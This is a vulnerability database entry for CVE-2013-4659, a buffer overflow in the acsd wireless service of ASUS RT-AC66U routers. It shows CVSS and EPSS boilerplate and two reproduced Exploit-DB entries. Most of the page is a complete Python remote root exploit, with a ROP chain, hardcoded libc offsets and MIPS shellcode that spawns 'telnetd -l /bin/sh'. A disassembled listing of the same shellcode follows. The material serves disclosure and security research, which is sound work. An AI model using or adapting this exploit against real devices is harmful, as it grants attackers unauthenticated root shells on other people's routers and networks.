Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
9.8 |
CRITICAL |
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
nvd@nist.gov |
| V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 27133
Publication date : 2013-07-26 22h00 +00:00
Author : Jacob Holcomb
EDB Verified : No
#!/usr/bin/env python
import signal, struct
from time import sleep
from socket import *
from sys import exit, exc_info
#
# Title*******************ASUS RT-AC66U Remote Root Shell Exploit - acsd param command
# Discovered and Reported*June 2013
# Discovered/Exploited By*Jacob Holcomb/Gimppy and Jacob Thompson
# *Security Analsyts @ Independent Security Evaluators
# Software Vendor*********http://asus.com
# Exploit/Advisory********http://securityevaluators.com, http://infosec42.blogspot.com/
# Software****************acsd wireless service (Listens on TCP/5916)
# Firmware Version********3.0.0.4.266 (Other versions were not tested and may be vulnerable)
# CVE*********************ASUS RT-AC66U Multiple Buffer Overflows: CVE-2013-4659
#
# Overview:
# The ASUS RT-AC66U contains the Broadcom ACSD Wireless binary that is vulnerable to multiple
# Buffer Overflow attacks.
#
# Multiple overflows exist in the following software:
#
# - Broadcom acsd - Wireless Channel Service (autochannel¶m, autochannel&data, csscan&ifname commands)
#
def sigHandle(signum, frm): # Signal handler
print "\n[!!!] Cleaning up the exploit... [!!!]\n"
sleep(1)
exit(0)
def targServer():
while True:
try:
server = inet_aton(raw_input("\n[*] Please enter the IPv4 address of the ASUS RT-AC66U router:\n\n>"))
server = inet_ntoa(server)
break
except:
print "\n\n[!!!] Error: Please enter a valid IPv4 address. [!!!]\n\n"
sleep(1)
continue
return server
def main():
print ("""\n [*] Title: ASUS RT-AC66U Remote Root Shell Exploit - acsd param command
[*] Discovered and Reported: June 2013
[*] Discovered/Exploited By: Jacob Holcomb/Gimppy and Jacob Thompson, Security Analysts @ ISE
[*] Software Vendor: http://asus.com
[*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
[*] Software: acsd wireless service (Listens on TCP/5916)
[*] Firmware Version: 3.0.0.4.266 (Other versions were not tested and may be vulnerable)
[*] CVE: ASUS RT-AC66U Broadcom ACSD Buffer Overflow: CVE-2013-4659\n""")
signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c
victim = targServer()
port = int(5916)
acsdCmd = "autochannel¶m=" #Vulnerable command - JH
# base address of .text section of libc.so.0 in acsd's address space
libc_base = 0x2ab25000
# ROP gadget #1
# lui s0,0x2
# li a0,1
# move t9,s1
# jalr t9
# ori a1,s0,0x2
ra1 = struct.pack("<L", libc_base + 0x2d39c)
# ROP gadget #2
# move t9,s3
# lw ra,44(sp)
# lw s4,40(sp)
# lw s3,36(sp)
# lw s2,32(sp)
# lw s1,28(sp)
# lw s0,24(sp)
# jr t9
s1 = struct.pack("<L", libc_base + 0x34358)
# sleep() - used to force program context switch (cache flush)
s3 = struct.pack("<L", libc_base + 0x2cb90)
# ROP gadget #3
# addiu a1,sp,24
# lw gp,16(sp)
# lw ra,32(sp)
# jr ra
# addiu sp,sp,40
ra2 = struct.pack("<L", libc_base + 0xa1b0)
# ROP gadget #4
# move t9,a1
# addiu a0,a0,56
# jr t9
# move a1,a2
ra3 = struct.pack("<L", libc_base + 0x3167c)
# jalr sp
jalr_sp = "\x09\xf8\xa0\x03"
JuNk = "\x42" * 510
safeNop = "2Aa3"
#80 Bytes system() Shellcode by Jacob Holcomb of ISE
#Calling system() and executing telnetd -l /bin/sh
shellcode = "\x6c\x6e\x08\x3c\x74\x65\x08\x35\xec\xff\xa8"
shellcode += "\xaf\x64\x20\x09\x3c\x65\x74\x29\x35\xf0\xff"
shellcode += "\xa9\xaf\x20\x2f\x0a\x3c\x2d\x6c\x4a\x35\xf4"
shellcode += "\xff\xaa\xaf\x6e\x2f\x0b\x3c\x62\x69\x6b\x35"
shellcode += "\xf8\xff\xab\xaf\x73\x68\x0c\x24\xfc\xff\xac"
shellcode += "\xaf\xec\xff\xa4\x23\xec\xff\xbd\x23\xb4\x2a"
shellcode += "\x19\x3c\x50\xf0\x39\x37\x09\xf8\x20\x03\x32"
shellcode += "\x41\x61\x33"
sploit = acsdCmd + JuNk + s1 + JuNk[0:4] + s3 + ra1 + JuNk[0:48]
sploit += ra2 + JuNk[0:24]+ jalr_sp + safeNop + ra3 + JuNk[0:4]
sploit += safeNop + shellcode
try:
print "\n [*] Creating network socket."
net_sock = socket(AF_INET, SOCK_STREAM)
except:
print "\n [!!!] There was an error creating the network socket. [!!!]\n\n%s\n" % exc_info()
sleep(1)
exit(0)
try:
print " [*] Connecting to ASUS RT-AC66U router @ %s on port TCP/%d." % (victim, port)
net_sock.connect((victim, port))
except:
print "\n [!!!] There was an error connecting to %s. [!!!]\n\n%s\n" % (victim, exc_info())
sleep(1)
exit(0)
try:
print """ [*] Attempting to exploit the acsd param command.
[*] Sending 1337 ro0t Sh3ll exploit to %s on TCP port %d.
[*] Payload Length: %d bytes.""" % (victim, port, len(sploit))
net_sock.send(sploit)
sleep(1)
except:
print "\n [!!!] There was an error sending the 1337 ro0t Sh3ll exploit to %s [!!!]\n\n%s\n" % (victim, exc_info())
sleep(1)
exit(0)
try:
print """ [*] 1337 ro0t Sh3ll exploit was sent! Fingers crossed for code execution!
[*] Closing network socket. Press ctrl + c repeatedly to force exploit cleanup.\n"""
net_sock.close()
except:
print "\n [!!!] There was an error closing the network socket. [!!!]\n\n%s\n" % exc_info()
sleep(1)
exit(0)
if __name__ == "__main__":
main()
Exploit Database EDB-ID : 27132
Publication date : 2013-07-26 22h00 +00:00
Author : Jacob Holcomb
EDB Verified : No
# Disassembled MIPS Little Endian Shellcode
# Shellcode was designed for ACSD exploit on the ASUS RT-AC66U SOHO router.
# CVE: CVE-2013-4659
# Written by Jacob Holcomb, Security Analyst @ Independent Security Evaluators
# Blog: http://infosec42.blogspot.com
# Company Website: http://securityevaluators.com
#
# NOTE:
# In order to use this MIPS ASM elsewhere, you will need to change the address
# of the system() function call to match your environment and reassemble the ASM.
# _ characters in the comments below represent a space.
lui t0,0x6e6c //Loading Upper Immediate nl into temp. reg. #0
ori t0,t0,0x6574 //Bitwise OR immediate. Putting et into lower 16 bits of t0
sw t0,-20(sp) //Store word pointer to command string for execution
lui t1,0x2064 //Loading Upper Immediate _d into temp. reg. #1
ori t1,t1,0x7465 //Bitwise OR immediate. Putting te into lower 16 bits of t0
sw t1,-16(sp) //Store next part of command
lui t2,0x2f20 //Loading Upper Immediate /_ into temp. reg. #2
ori t2,t2,0x6c2d //Bitwise OR immediate. Putting l- into lower 16 bits of t1
sw t2,-12(sp) //Store next part of command
lui t3,0x2f6e //Loading Upper Immedate /n into temp. reg. #3
ori t3,t3,0x6962 //Bitwise OR immediate. Putting ib into lower 16 bits of t2
sw t3,-8(sp) //Store next part of command
li t4,26739 //Loading Immediate hs00 into temp. reg. #4
sw t4,-4(sp) //Store next part of command
addi a0,sp,-20 //Store "telnetd -l /bin/sh" in reg. a0 for system() function call
addi sp,sp,-20 //Move stack pointer to "telnetd -l /bin/sh" string on the stack
lui t9,0x2ab4 //Loading Upper Immediate of system() into t9
ori t9,t9,0xf050 //Bitwise OR immediate. Putting rest of system() into t9
jalr t9 //Jumpying to t9/system()
andi at,k1,0x4132 //Filler instruction for branch delay
# NOTE: Assembled shellcode
#
# #80 Bytes system() Shellcode by Jacob Holcomb of ISE
# #Calling system() and executing telnetd -l /bin/sh
# shellcode = "\x6c\x6e\x08\x3c\x74\x65\x08\x35\xec\xff\xa8"
# shellcode += "\xaf\x64\x20\x09\x3c\x65\x74\x29\x35\xf0\xff"
# shellcode += "\xa9\xaf\x20\x2f\x0a\x3c\x2d\x6c\x4a\x35\xf4"
# shellcode += "\xff\xaa\xaf\x6e\x2f\x0b\x3c\x62\x69\x6b\x35"
# shellcode += "\xf8\xff\xab\xaf\x73\x68\x0c\x24\xfc\xff\xac"
# shellcode += "\xaf\xec\xff\xa4\x23\xec\xff\xbd\x23\xb4\x2a"
# shellcode += "\x19\x3c\x50\xf0\x39\x37\x09\xf8\x20\x03\x32"
# shellcode += "\x41\x61\x33"
Products Mentioned
Configuraton 0
Asus>>Rt-ac66u_firmware >> Version -
Asus>>Rt-ac66u >> Version -
Configuraton 0
Trendnet>>Tew-812dru_firmware >> Version -
Trendnet>>Tew-812dru >> Version -
References
